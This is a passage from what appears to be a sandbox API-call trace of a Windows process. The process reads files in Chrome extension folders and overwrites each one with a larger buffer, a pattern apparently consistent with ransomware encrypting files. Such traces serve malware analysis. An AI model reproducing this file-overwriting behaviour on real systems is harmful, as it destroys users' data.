data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.833] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.833] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xb3 [0053.833] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.833] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.833] ReleaseMutex (hMutex=0x128) returned 1 [0053.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.834] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e36f48, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36f48*, lpNumberOfBytesRead=0x2a0f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0053.834] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.834] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0053.835] CloseHandle (hObject=0x1d4) returned 1 [0053.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.835] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.835] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xb3 [0053.835] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.835] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.835] ReleaseMutex (hMutex=0x128) returned 1 [0053.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.835] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e36f48, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36f48*, lpNumberOfBytesRead=0x2a0f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0053.836] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.836] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0053.836] CloseHandle (hObject=0x1d4) returned 1 [0053.837] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.837] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.837] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x9d [0053.837] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.837] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.837] ReleaseMutex (hMutex=0x128) returned 1 [0053.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon_16.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0053.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon_16.png", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon_16.png", lpUsedDefaultChar=0x0) returned 11 [0053.837] ReadFile (in: hFile=0x1d4, lpBuffer=0x2516408, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2516408*, lpNumberOfBytesRead=0x2a0f2bc*=0x9d, lpOverlapped=0x0) returned 1 [0053.838] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.838] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x625, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x625, lpOverlapped=0x0) returned 1 [0053.839] CloseHandle (hObject=0x1d4) returned 1 [0053.839] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.839] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.839] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x130 [0053.839] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.839] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.839] ReleaseMutex (hMutex=0x128) returned 1 [0053.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.840] ReadFile (in: hFile=0x1d4, lpBuffer=0x262e1f8, nNumberOfBytesToRead=0x130, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x262e1f8*, lpNumberOfBytesRead=0x2a0f2bc*=0x130, lpOverlapped=0x0) returned 1 [0053.840] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.840] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6b8, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x6b8, lpOverlapped=0x0) returned 1 [0053.841] CloseHandle (hObject=0x1d4) returned 1 [0053.841] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.841] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.841] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x11a [0053.841] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.841] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.841] ReleaseMutex (hMutex=0x128) returned 1 [0053.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.841] ReadFile (in: hFile=0x1d4, lpBuffer=0x2644ab8, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2644ab8*, lpNumberOfBytesRead=0x2a0f2bc*=0x11a, lpOverlapped=0x0) returned 1 [0053.842] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.842] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6a2, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x6a2, lpOverlapped=0x0) returned 1 [0053.842] CloseHandle (hObject=0x1d4) returned 1 [0053.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.843] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.843] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xbf [0053.843] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.843] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.843] ReleaseMutex (hMutex=0x128) returned 1 [0053.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.843] ReadFile (in: hFile=0x1d4, lpBuffer=0x2586c28, nNumberOfBytesToRead=0xbf, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2586c28*, lpNumberOfBytesRead=0x2a0f2bc*=0xbf, lpOverlapped=0x0) returned 1 [0053.844] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.844] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x647, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x647, lpOverlapped=0x0) returned 1 [0053.844] CloseHandle (hObject=0x1d4) returned 1 [0053.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.845] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.845] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x10a [0053.845] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.845] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.845] ReleaseMutex (hMutex=0x128) returned 1 [0053.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.845] ReadFile (in: hFile=0x1d4, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x10a, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x2a0f2bc*=0x10a, lpOverlapped=0x0) returned 1 [0053.846] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0053.846] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x692, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x692, lpOverlapped=0x0) returned 1 [0053.846] CloseHandle (hObject=0x1d4) returned 1 [0053.846] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.847] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.847] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x356 [0053.847] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.847] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.847] ReleaseMutex (hMutex=0x128) returned 1 [0053.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dasherSettingSchema.json", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0053.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dasherSettingSchema.json", cchWideChar=24, lpMultiByteStr=0x1e7faec, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dasherSettingSchema.json", lpUsedDefaultChar=0x0) returned 24 [0053.847] ReadFile (in: hFile=0x1d4, lpBuffer=0x2750828, nNumberOfBytesToRead=0x356, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x2a0f2bc*=0x356, lpOverlapped=0x0) returned 1 [0054.100] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.100] WriteFile (in: hFile=0x1d4, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8de, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2a0f2d0*=0x8de, lpOverlapped=0x0) returned 1 [0054.100] CloseHandle (hObject=0x1d4) returned 1 [0054.100] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.100] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.101] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xcf [0054.101] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.101] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.101] ReleaseMutex (hMutex=0x128) returned 1 [0054.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.101] ReadFile (in: hFile=0x1d4, lpBuffer=0x1daea48, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daea48*, lpNumberOfBytesRead=0x2a0f2bc*=0xcf, lpOverlapped=0x0) returned 1 [0054.102] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.102] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x657, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x657, lpOverlapped=0x0) returned 1 [0054.102] CloseHandle (hObject=0x1d4) returned 1 [0054.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.103] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.103] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x98 [0054.103] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.103] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.103] ReleaseMutex (hMutex=0x128) returned 1 [0054.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.103] ReadFile (in: hFile=0x1d4, lpBuffer=0x2516408, nNumberOfBytesToRead=0x98, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2516408*, lpNumberOfBytesRead=0x2a0f2bc*=0x98, lpOverlapped=0x0) returned 1 [0054.104] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.104] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x620, lpOverlapped=0x0) returned 1 [0054.104] CloseHandle (hObject=0x1d4) returned 1 [0054.105] CreateFileW 